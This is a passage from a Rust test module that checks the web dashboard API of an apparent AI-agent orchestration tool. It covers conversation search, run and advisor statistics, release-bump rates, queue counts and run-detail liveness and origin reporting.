13175    }
13176
13177    /// Write one conversation file the way the store reads it back.
13178    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13179        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13180            .expect("seat value");
13181        let turns: Vec<serde_json::Value> = turns
13182            .iter()
13183            .map(|(who, body)| {
13184                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13185            })
13186            .collect();
13187        let doc = serde_json::json!({
13188            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13189            "status": status, "turns": turns,
13190            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13191            "seat": seat,
13192        });
13193        let dir = f.home.path().join("talks");
13194        std::fs::create_dir_all(&dir).expect("talks dir");
13195        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13196    }
13197
13198    #[tokio::test]
13199    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13200        let f = Fixture::start().await;
13201        write_talk(
13202            &f,
13203            "20260901-000001-aaaa",
13204            "open",
13205            &[
13206                (
13207                    "operator",
13208                    "\n  Why does the Pangolin cache expire?\nsecond line",
13209                ),
13210                ("agent", "Because the TTL is thirty seconds."),
13211            ],
13212        );
13213        write_talk(
13214            &f,
13215            "20260901-000002-bbbb",
13216            "closed",
13217            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13218        );
13219        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13220
13221        let search = |q: &'static str| {
13222            let f = &f;
13223            async move {
13224                f.get(&format!("/api/search?scope=chats&q={q}"))
13225                    .await
13226                    .json()
13227            }
13228        };
13229
13230        let v = search("PANGOLIN").await;
13231        assert_eq!(v["scope"], "chats");
13232        assert_eq!(v["total"], 1, "{v}");
13233        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13234        assert_eq!(v["hits"][0]["field"], "title");
13235        assert_eq!(v["unreadable"], 1, "{v}");
13236        let marked: Vec<&str> = v["hits"][0]["snippet"]
13237            .as_array()
13238            .unwrap()
13239            .iter()
13240            .filter(|p| p["hit"] == true)
13241            .map(|p| p["text"].as_str().unwrap())
13242            .collect();
13243        assert_eq!(marked, ["Pangolin"]);
13244
13245        // An agent turn, in a closed conversation.
13246        let v = search("zebra").await;
13247        assert_eq!(v["total"], 1, "{v}");
13248        assert_eq!(v["hits"][0]["field"], "agent");
13249        // Words may sit in different turns; all must be present.
13250        assert_eq!(search("pangolin%20thirty").await["total"], 1);
13251        assert_eq!(search("pangolin%20zebra").await["total"], 0);
13252        // Bookkeeping is not searched.
13253        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13254            assert_eq!(search(q).await["total"], 0, "{q}");
13255        }
13256        // The first line only is the title; the second line is still a turn.
13257        assert_eq!(search("second").await["hits"][0]["field"], "operator");
13258        // Open conversations are listed before closed ones.
13259        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13260
13261        let v = f.get("/api/search?scope=nope&q=a").await;
13262        assert_eq!(v.status, 400);
13263        assert!(
13264            v.body.contains("scope must be runs, tasks or chats"),
13265            "{}",
13266            v.body
13267        );
13268    }
13269
13270    #[test]
13271    fn a_question_card_links_a_task_id_to_the_task_page() {
13272        let start = APP_JS
13273            .find("function updateAskCard(")
13274            .expect("updateAskCard exists");
13275        let body = &APP_JS[start..];
13276        let body = &body[..body.find("\n}\n").expect("function end")];
13277        assert!(body.contains("question.run_is_task"));
13278        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13279        assert!(body.contains("`#/runs/${question.run}`"));
13280        assert!(body.contains("\"task\" : \"run\""));
13281    }
13282
13283    #[test]
13284    fn plain_text_message_surfaces_go_through_linkify() {
13285        assert!(APP_JS.contains("function linkify("));
13286        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13287        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13288        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13289        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13290        assert!(!APP_JS.contains("innerHTML = text"));
13291    }
13292
13293    #[test]
13294    fn implementation_rate_views_keep_independent_samples() {
13295        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13296            let a = stats::AgentStats {
13297                competitive_entered: competitive_n,
13298                competitive_wins: usize::from(competitive_n > 0),
13299                solo_entered: solo_n,
13300                solo_adopted: 2 * usize::from(solo_n > 0),
13301                ..Default::default()
13302            };
13303            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13304            for (key, n, numerator) in [
13305                ("competitive_win_rate", competitive_n, a.competitive_wins),
13306                ("solo_adoption_rate", solo_n, a.solo_adopted),
13307            ] {
13308                if n == 0 {
13309                    assert!(v[key].is_null());
13310                } else {
13311                    assert_eq!(v[key]["denominator"], n);
13312                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13313                }
13314            }
13315        }
13316        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13317        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13318        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13319        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13320    }
13321
13322    #[test]
13323    fn stats_bars_share_one_id_keyed_plan() {
13324        let start = APP_JS
13325            .find("function statsBarRows(")
13326            .expect("statsBarRows exists");
13327        let body = &APP_JS[start..];
13328        let body = &body[..body.find("\n}\n").expect("function end")];
13329        assert!(body.contains("statsBarPlan(rows)"));
13330        assert!(body.contains("statsAgentTone(row.agent)"));
13331        assert!(!body.contains("candTone(i)"));
13332        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13333        for root in [
13334            "stats-agents-bars",
13335            "stats-solo-bars",
13336            "stats-reviewers-bars",
13337        ] {
13338            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13339        }
13340    }
13341
13342    #[test]
13343    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13344        let start = APP_JS
13345            .find("function renderStatsReviewerScatter(")
13346            .expect("renderStatsReviewerScatter exists");
13347        let body = &APP_JS[start..];
13348        let body = &body[..body.find("\n}\n").expect("function end")];
13349        assert!(body.contains("statsScatterPlan(reviewers)"));
13350        assert!(body.contains("statsAgentTone(d.agent)"));
13351        assert!(APP_JS.contains("function statsScatterPlan("));
13352        assert!(
13353            APP_JS.contains("d.submitted < STATS_LOW_N")
13354                || APP_JS.contains("r.submitted < STATS_LOW_N")
13355        );
13356        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13357        assert!(APP_CSS.contains(".precision-scatter"));
13358    }
13359
13360    #[test]
13361    fn advisor_reflection_is_drawn_as_stacked_segments() {
13362        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13363        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13364        let html = include_str!("../assets/ui/index.html");
13365        assert!(html.contains("Approximate"));
13366        for label in ["reflected strongly", "faint", "no proposal"] {
13367            assert!(html.contains(label));
13368        }
13369        let css = include_str!("../assets/ui/app.css");
13370        for c in ["refl-strong", "refl-faint", "refl-absent"] {
13371            assert!(css.contains(&format!(".{c} {{")));
13372        }
13373    }
13374
13375    #[test]
13376    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13377        assert!(APP_JS.contains("function statsDailyPlan("));
13378        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13379        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13380    }
13381
13382    #[test]
13383    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13384        let start = APP_JS
13385            .find("function scheduleSearch(")
13386            .expect("scheduleSearch exists");
13387        let body = &APP_JS[start..];
13388        let body = &body[..body.find("\n}\n").expect("function end")];
13389        assert!(body.contains("s.seq += 1"));
13390    }
13391
13392    /// The dashboard reads every run's state itself rather than trusting a
13393    /// separately-maintained count, so an unreadable run must be counted the
13394    /// same way `/api/health` counts it - never silently dropped the way the
13395    /// CLI's own `stats::load_all` drops it.
13396    #[tokio::test]
13397    async fn stats_runs_unreadable_matches_health() {
13398        let f = Fixture::start().await;
13399        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13400        let broken = f.runs().join("20260902-140502-bad");
13401        std::fs::create_dir_all(&broken).expect("run dir");
13402        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13403
13404        let stats = f.get("/api/stats").await;
13405        let health = f.get("/api/health").await;
13406
13407        assert_eq!(stats.status, 200);
13408        assert_eq!(stats.json()["totals"]["runs"], 1);
13409        assert_eq!(stats.json()["runs_unreadable"], 1);
13410        assert_eq!(
13411            stats.json()["runs_unreadable"],
13412            health.json()["runs_unreadable"],
13413            "the dashboard and /api/health must never disagree about how many \
13414             runs could not be read"
13415        );
13416    }
13417
13418    #[tokio::test]
13419    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
13420        let f = Fixture::start().await;
13421        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13422        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
13423        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
13424
13425        let totals = &f.get("/api/stats").await.json()["totals"];
13426        assert_eq!(totals["runs"], 3);
13427        assert_eq!(totals["merged"], 1);
13428        assert_eq!(totals["stalled"], 1);
13429        assert_eq!(totals["in_progress"], 1);
13430        // A stalled run must never read as blocked/merged/ready - it is its
13431        // own bucket, not folded into a "decided" one.
13432        assert_eq!(totals["blocked"], 0);
13433        assert_eq!(totals["ready"], 0);
13434    }
13435
13436    #[tokio::test]
13437    async fn stats_advisors_report_proposals_and_reflection() {
13438        use crate::advise::{Advice, AdvisorRecord, Reflection};
13439        use crate::verdict::Proposal;
13440
13441        let f = Fixture::start().await;
13442        let mut state = RunState::new(
13443            PathBuf::from("/repo/magi"),
13444            "main".to_owned(),
13445            "0123456789abcdef".to_owned(),
13446            "task".to_owned(),
13447            Config::default(),
13448        );
13449        state.id = "20260902-140501-a".to_owned();
13450        state.status = RunStatus::Merged;
13451        state.advice = Some(Advice {
13452            records: vec![
13453                AdvisorRecord {
13454                    seat: "advisor-1".to_owned(),
13455                    agent: "alpha".to_owned(),
13456                    proposal: Some(Proposal {
13457                        approach: "do it".to_owned(),
13458                        key_tradeoff: "speed over memory".to_owned(),
13459                        risks: Vec::new(),
13460                        touches: Vec::new(),
13461                        why_not_naive: "breaks under load".to_owned(),
13462                    }),
13463                    error: None,
13464                    duration_ms: 0,
13465                    reflection: Reflection::Strong,
13466                },
13467                AdvisorRecord {
13468                    seat: "advisor-2".to_owned(),
13469                    agent: "alpha".to_owned(),
13470                    proposal: None,
13471                    error: Some("timed out".to_owned()),
13472                    duration_ms: 0,
13473                    reflection: Reflection::Absent,
13474                },
13475            ],
13476            synthesis: Some("blended brief".to_owned()),
13477        });
13478        let dir = f.runs().join(&state.id);
13479        std::fs::create_dir_all(&dir).expect("run dir");
13480        std::fs::write(
13481            dir.join("run.json"),
13482            serde_json::to_string_pretty(&state).expect("serialize run"),
13483        )
13484        .expect("write run.json");
13485
13486        // `alpha` is in no roster here; this test is about the rates.
13487        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
13488        let alpha = advisors
13489            .as_array()
13490            .expect("an array")
13491            .iter()
13492            .find(|a| a["agent"] == "alpha")
13493            .expect("alpha row");
13494        assert_eq!(alpha["seated"], 2);
13495        assert_eq!(alpha["proposed"], 1);
13496        assert_eq!(alpha["absent"], 1);
13497        assert_eq!(alpha["strong"], 1);
13498        assert_eq!(alpha["faint"], 0);
13499        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
13500    }
13501
13502    #[tokio::test]
13503    async fn stats_hides_agents_outside_the_roster_unless_all() {
13504        use crate::run::Candidate;
13505        let repo = TempDir::new().expect("repo dir");
13506        std::fs::write(
13507            repo.path().join("magi.toml"),
13508            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
13509        )
13510        .expect("magi.toml");
13511        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
13512        let mut state = RunState::new(
13513            PathBuf::from("/repo/magi"),
13514            "main".to_owned(),
13515            "0123456789abcdef".to_owned(),
13516            "task".to_owned(),
13517            Config::default(),
13518        );
13519        state.id = "20260902-140501-a".to_owned();
13520        state.status = RunStatus::Merged;
13521        for (label, agent) in [('A', "keep"), ('B', "retired")] {
13522            let mut c: Candidate = serde_json::from_value(serde_json::json!({
13523                "index": 0, "label": label.to_string(), "agent": agent,
13524                "branch": "b", "worktree": "/w",
13525            }))
13526            .expect("candidate");
13527            c.label = label;
13528            state.candidates.push(c);
13529        }
13530        let dir = f.runs().join(&state.id);
13531        std::fs::create_dir_all(&dir).expect("run dir");
13532        std::fs::write(
13533            dir.join("run.json"),
13534            serde_json::to_string_pretty(&state).expect("serialize run"),
13535        )
13536        .expect("write run.json");
13537
13538        let agents_of = |v: &serde_json::Value| -> Vec<String> {
13539            v["agents"]
13540                .as_array()
13541                .expect("array")
13542                .iter()
13543                .map(|a| a["agent"].as_str().unwrap().to_owned())
13544                .collect()
13545        };
13546        let hidden = f.get("/api/stats").await.json();
13547        assert_eq!(agents_of(&hidden), ["keep"]);
13548        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
13549        assert_eq!(hidden["totals"]["runs"], 1);
13550
13551        let all = f.get("/api/stats?all=true").await.json();
13552        assert_eq!(agents_of(&all).len(), 2);
13553        assert_eq!(all["retired_hidden"], serde_json::json!([]));
13554        // Verify competitive and solo keys exist on agent entries
13555        let keep_agent = all["agents"]
13556            .as_array()
13557            .unwrap()
13558            .iter()
13559            .find(|a| a["agent"] == "keep")
13560            .unwrap();
13561        assert_eq!(keep_agent["competitive_entered"], 1);
13562        assert_eq!(keep_agent["competitive_wins"], 0);
13563        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
13564        assert_eq!(keep_agent["solo_entered"], 0);
13565        assert_eq!(keep_agent["solo_adopted"], 0);
13566        assert!(keep_agent["solo_adoption_rate"].is_null());
13567    }
13568
13569    #[tokio::test]
13570    async fn stats_release_bumps_split_clean_from_attention() {
13571        use crate::run::ReleaseBump;
13572
13573        let f = Fixture::start().await;
13574
13575        let mut clean = RunState::new(
13576            PathBuf::from("/repo/magi"),
13577            "main".to_owned(),
13578            "0123456789abcdef".to_owned(),
13579            "task".to_owned(),
13580            Config::default(),
13581        );
13582        clean.id = "20260902-140501-a".to_owned();
13583        clean.status = RunStatus::Merged;
13584        clean.release_bump = Some(ReleaseBump {
13585            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
13586            version: Some("1.0.0".to_owned()),
13587            automerge_enabled: true,
13588            merged_directly: false,
13589            local: false,
13590            release: None,
13591            problem: None,
13592            action_required: None,
13593        });
13594
13595        let mut blocked = RunState::new(
13596            PathBuf::from("/repo/magi"),
13597            "main".to_owned(),
13598            "0123456789abcdef".to_owned(),
13599            "task".to_owned(),
13600            Config::default(),
13601        );
13602        blocked.id = "20260902-140502-b".to_owned();
13603        blocked.status = RunStatus::Merged;
13604        blocked.release_bump = Some(ReleaseBump {
13605            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
13606            version: Some("1.0.1".to_owned()),
13607            automerge_enabled: false,
13608            merged_directly: false,
13609            local: false,
13610            release: None,
13611            problem: Some("checks red".to_owned()),
13612            action_required: Some("look at the PR".to_owned()),
13613        });
13614
13615        for state in [&clean, &blocked] {
13616            let dir = f.runs().join(&state.id);
13617            std::fs::create_dir_all(&dir).expect("run dir");
13618            std::fs::write(
13619                dir.join("run.json"),
13620                serde_json::to_string_pretty(state).expect("serialize run"),
13621            )
13622            .expect("write run.json");
13623        }
13624
13625        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13626        assert_eq!(bumps["merged"], 2);
13627        assert_eq!(bumps["recorded"], 2);
13628        assert_eq!(bumps["pr_opened"], 2);
13629        assert_eq!(bumps["automerge_enabled"], 1);
13630        assert_eq!(bumps["needs_attention"], 1);
13631        assert_eq!(bumps["clean"], 1);
13632        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
13633        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
13634    }
13635
13636    #[tokio::test]
13637    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
13638        let f = Fixture::start().await;
13639        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13640
13641        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13642        assert_eq!(bumps["merged"], 1);
13643        assert_eq!(bumps["recorded"], 0);
13644        // `merged` is nonzero, so coverage still reads as a real 0%, not an
13645        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
13646        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
13647        // `pr_opened` and `recorded` are both zero here, so these rates have
13648        // no denominator to compute from and must be null.
13649        assert_eq!(bumps["automerge_rate"], Value::Null);
13650        assert_eq!(bumps["attention_rate"], Value::Null);
13651    }
13652
13653    #[tokio::test]
13654    async fn stats_queue_counts_come_from_the_live_queue() {
13655        let f = Fixture::start().await;
13656        let q = f.queue();
13657        let mut queued = Task::new(
13658            "queued task".to_owned(),
13659            "do it".to_owned(),
13660            PathBuf::from("/repo"),
13661            Source::Human,
13662        );
13663        q.put(&mut queued).expect("put queued");
13664        let mut held = Task::new(
13665            "held task".to_owned(),
13666            "do it later".to_owned(),
13667            PathBuf::from("/repo"),
13668            Source::Human,
13669        );
13670        held.hold_machine(Some("out of attempts".to_owned()));
13671        q.put(&mut held).expect("put held");
13672
13673        let queue = f.get("/api/stats").await.json()["queue"].clone();
13674        assert_eq!(queue["queued"], 1);
13675        assert_eq!(queue["held"], 1);
13676        assert_eq!(queue["running"], 0);
13677        assert_eq!(queue["done"], 0);
13678        assert_eq!(queue["failed"], 0);
13679        assert_eq!(queue["blocked"], 0);
13680    }
13681
13682    #[tokio::test]
13683    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
13684        let f = Fixture::start().await;
13685        let stats = f.get("/api/stats").await;
13686        assert_eq!(stats.status, 200);
13687        assert_eq!(stats.json()["totals"]["runs"], 0);
13688        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
13689        assert_eq!(stats.json()["runs_unreadable"], 0);
13690        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
13691        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
13692        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
13693        assert_eq!(stats.json()["repo"], Value::Null);
13694    }
13695
13696    #[tokio::test]
13697    async fn stats_lists_every_repository_with_runs_recorded() {
13698        let f = Fixture::start().await;
13699        write_run_repo(
13700            &f.runs(),
13701            "20260902-140501-a",
13702            RunStatus::Merged,
13703            "/repos/a",
13704        );
13705        write_run_repo(
13706            &f.runs(),
13707            "20260902-140502-b",
13708            RunStatus::Merged,
13709            "/repos/a",
13710        );
13711        write_run_repo(
13712            &f.runs(),
13713            "20260902-140503-c",
13714            RunStatus::Blocked,
13715            "/repos/b",
13716        );
13717
13718        let stats = f.get("/api/stats").await;
13719        assert_eq!(stats.status, 200);
13720        // Unfiltered - the aggregate across both repositories.
13721        assert_eq!(stats.json()["totals"]["runs"], 3);
13722        assert_eq!(stats.json()["repo"], Value::Null);
13723
13724        let repos = stats.json()["repos"].clone();
13725        let repos = repos.as_array().unwrap();
13726        assert_eq!(repos.len(), 2);
13727        // Busiest (2 runs) first.
13728        assert_eq!(repos[0]["repo"], "/repos/a");
13729        assert_eq!(repos[0]["name"], "a");
13730        assert_eq!(repos[0]["runs"], 2);
13731        assert_eq!(repos[1]["repo"], "/repos/b");
13732        assert_eq!(repos[1]["runs"], 1);
13733    }
13734
13735    #[tokio::test]
13736    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
13737        let f = Fixture::start().await;
13738        write_run_repo(
13739            &f.runs(),
13740            "20260902-140501-a",
13741            RunStatus::Merged,
13742            "/repos/a",
13743        );
13744        write_run_repo(
13745            &f.runs(),
13746            "20260902-140502-b",
13747            RunStatus::Blocked,
13748            "/repos/b",
13749        );
13750
13751        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
13752        assert_eq!(stats.status, 200);
13753        assert_eq!(stats.json()["totals"]["runs"], 1);
13754        assert_eq!(stats.json()["totals"]["merged"], 1);
13755        assert_eq!(stats.json()["repo"], "/repos/a");
13756        // The repository list itself is unaffected by the filter - it is
13757        // what a client switches repositories from.
13758        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
13759        // runs_unreadable is a whole-workload count, never scoped to the
13760        // selected repository - see StatsView::runs_unreadable's own doc.
13761        assert_eq!(stats.json()["runs_unreadable"], 0);
13762    }
13763
13764    #[tokio::test]
13765    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
13766        let f = Fixture::start().await;
13767        write_run_repo(
13768            &f.runs(),
13769            "20260902-140501-a",
13770            RunStatus::Merged,
13771            "/repos/a",
13772        );
13773        write_run_repo(
13774            &f.runs(),
13775            "20260902-140502-b",
13776            RunStatus::Merged,
13777            "/repos/b",
13778        );
13779
13780        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
13781            let json = f.get(uri).await.json();
13782            let daily = json["daily"].as_array().expect("daily is an array");
13783            assert_eq!(daily.len(), 30);
13784            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
13785            let mut sorted = dates.clone();
13786            sorted.sort();
13787            assert_eq!(dates, sorted);
13788            for d in daily {
13789                assert_eq!(
13790                    d["merged"].as_u64().unwrap()
13791                        + d["ready"].as_u64().unwrap()
13792                        + d["other"].as_u64().unwrap(),
13793                    d["runs"].as_u64().unwrap()
13794                );
13795            }
13796            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
13797        }
13798    }
13799
13800    #[tokio::test]
13801    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
13802        let f = Fixture::start().await;
13803        write_run_repo(
13804            &f.runs(),
13805            "20260902-140501-a",
13806            RunStatus::Merged,
13807            "/repos/a",
13808        );
13809
13810        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
13811        assert_eq!(stats.status, 404);
13812    }
13813
13814    #[tokio::test]
13815    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
13816        let f = Fixture::start().await;
13817        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
13818
13819        let summary = f.get("/api/runs").await.json();
13820        let row = &summary[0];
13821        assert_eq!(row["short"], "a1b2");
13822        assert_eq!(row["status"], "ready");
13823        assert_eq!(row["done"], true);
13824        assert_eq!(row["title"], "Add a web UI");
13825        assert_eq!(row["repo_name"], "magi");
13826        assert_eq!(row["judges"], 3);
13827        assert_eq!(row["winner"], Value::Null);
13828        assert_eq!(row["reviews"], 0);
13829
13830        // The short id resolves, and the detail route is the state itself, not
13831        // a projection of it: the UI reads fields the summary does not carry.
13832        let detail = f.get("/api/runs/a1b2").await;
13833        assert_eq!(detail.status, 200);
13834        assert_eq!(detail.json()["base_branch"], "main");
13835        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13836    }
13837
13838    /// `status: "ready"` alone cannot tell a run still headed for a landing
13839    /// (a PR closed without merging, say) apart from one `[merge] mode =
13840    /// "none"` left unmerged for good — the confusion the operator flagged
13841    /// after the CLI report already grew a `not landed — nothing to do by
13842    /// design` line for exactly this case (`report.rs`). Both the list route
13843    /// and the detail route must carry a flag the phone can key on instead of
13844    /// re-deriving it from `status` + `merge.mode` itself.
13845    #[tokio::test]
13846    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13847        let f = Fixture::start().await;
13848
13849        let mut none_run = RunState::new(
13850            PathBuf::from("/repo/magi"),
13851            "main".to_owned(),
13852            "0123456789abcdef".to_owned(),
13853            "Add a web UI".to_owned(),
13854            Config::default(),
13855        );
13856        none_run.id = "20260902-140503-none".to_owned();
13857        none_run.status = RunStatus::Ready;
13858        none_run.merge = Some(crate::run::MergeOutcome {
13859            mode: crate::config::MergeMode::None,
13860            ok: true,
13861            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13862            empty: false,
13863        });
13864        write_state(&f.runs(), &none_run);
13865
13866        let mut pr_run = RunState::new(
13867            PathBuf::from("/repo/magi"),
13868            "main".to_owned(),
13869            "0123456789abcdef".to_owned(),
13870            "Add a web UI".to_owned(),
13871            Config::default(),
13872        );
13873        pr_run.id = "20260902-140504-prcl".to_owned();
13874        pr_run.status = RunStatus::Ready;
13875        pr_run.merge = Some(crate::run::MergeOutcome {
13876            mode: crate::config::MergeMode::Pr,
13877            ok: false,
13878            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13879            empty: false,
13880        });
13881        write_state(&f.runs(), &pr_run);
13882
13883        let summary = f.get("/api/runs").await.json();
13884        let rows: std::collections::HashMap<&str, &Value> = summary
13885            .as_array()
13886            .expect("an array")
13887            .iter()
13888            .map(|r| (r["id"].as_str().expect("an id"), r))
13889            .collect();
13890        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13891        assert_eq!(
13892            rows[none_run.id.as_str()]["unmerged_by_design"],
13893            true,
13894            "a mode-none Ready must be flagged in the list"
13895        );
13896        assert_eq!(
13897            rows[pr_run.id.as_str()]["unmerged_by_design"],
13898            false,
13899            "a Ready reached by a closed pull request is a different case"
13900        );
13901
13902        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13903        assert_eq!(none_detail["status"], "ready");
13904        assert_eq!(none_detail["unmerged_by_design"], true);
13905
13906        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13907        assert_eq!(pr_detail["unmerged_by_design"], false);
13908    }
13909
13910    /// `RunState::active` is only ever cleared by whoever populated it, so the
13911    /// detail route also has to say whether a daemon is actually still
13912    /// driving this run right now — otherwise a seat from a killed process's
13913    /// last wave would read as live forever.
13914    #[tokio::test]
13915    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13916        let f = Fixture::start().await;
13917        // Matches `write_daemon`'s hard-coded `current.run`, so the second
13918        // half of this test can claim the daemon is working on it without a
13919        // second helper.
13920        let id = "20260902-140502-bbbb";
13921        let mut state = RunState::new(
13922            PathBuf::from("/repo/magi"),
13923            "main".to_owned(),
13924            "0123456789abcdef".to_owned(),
13925            "Add a web UI".to_owned(),
13926            Config::default(),
13927        );
13928        state.id = id.to_owned();
13929        state.status = RunStatus::Judging;
13930        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13931        let dir = f.runs().join(id);
13932        std::fs::create_dir_all(&dir).expect("run dir");
13933        std::fs::write(
13934            dir.join("run.json"),
13935            serde_json::to_string_pretty(&state).expect("serialize run"),
13936        )
13937        .expect("write run.json");
13938
13939        // No daemon.json at all, and no `driver_pid` recorded either (this
13940        // state was written directly, never through `execute()`): there is
13941        // nothing to confirm either way, so the route must say `"unknown"` —
13942        // never `"dead"`, which is exactly the false diagnosis a manual `magi
13943        // run` used to get from this route before `driver_pid` existed.
13944        let cold = f.get(&format!("/api/runs/{id}")).await.json();
13945        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13946        assert_eq!(cold["live"], "unknown", "{cold}");
13947
13948        // A fresh heartbeat naming exactly this run: the same entry now reads
13949        // as confirmed, not merely recorded.
13950        write_daemon(f.home.path(), Timestamp::now());
13951        let warm = f.get(&format!("/api/runs/{id}")).await.json();
13952        assert_eq!(warm["live"], "live", "{warm}");
13953    }
13954
13955    /// Where a run came from is shown, and a run written before origins were
13956    /// recorded (schema 12, no `origin` key) stays readable and says so.
13957    #[tokio::test]
13958    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13959        let f = Fixture::start().await;
13960        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13961            let mut state = RunState::new(
13962                PathBuf::from("/repo/magi"),
13963                "main".to_owned(),
13964                "0123456789abcdef".to_owned(),
13965                "Add a web UI".to_owned(),
13966                Config::default(),
13967            );
13968            state.id = id.to_owned();
13969            state.origin = origin;
13970            let mut value = serde_json::to_value(&state).expect("serialize run");
13971            if let Some(schema) = schema {
13972                value["schema"] = serde_json::json!(schema);
13973                value.as_object_mut().unwrap().remove("origin");
13974            }
13975            let dir = f.runs().join(id);
13976            std::fs::create_dir_all(&dir).expect("run dir");
13977            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
13978        };
13979        write(
13980            "20260930-092817-ec34",
13981            Some(crate::run::Origin::from_agent_env(
13982                Some(("4a7b".to_owned(), "chat".to_owned())),
13983                None,
13984            )),
13985            None,
13986        );
13987        write("20260930-092817-0ld1", None, Some(12));
13988
13989        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
13990        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
13991        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
13992
13993        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
13994        assert_eq!(
13995            old["origin_label"], "origin unknown (started before origins were recorded)",
13996            "{old}"
13997        );
13998        assert!(old["origin"].is_null(), "{old}");
13999
14000        let list = f.get("/api/runs").await.json();
14001        let labels: Vec<_> = list
14002            .as_array()
14003            .unwrap()
14004            .iter()
14005            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14006            .collect();
14007        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14008    }
14009
14010    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
14011    /// review` claims no daemon at all, so before this field existed the
14012    /// route above read it as `"dead"` — indistinguishable from a run a
14013    /// killed process abandoned — the whole time it was genuinely still
14014    /// answering. With a live pid recorded, it must read `"live"` even
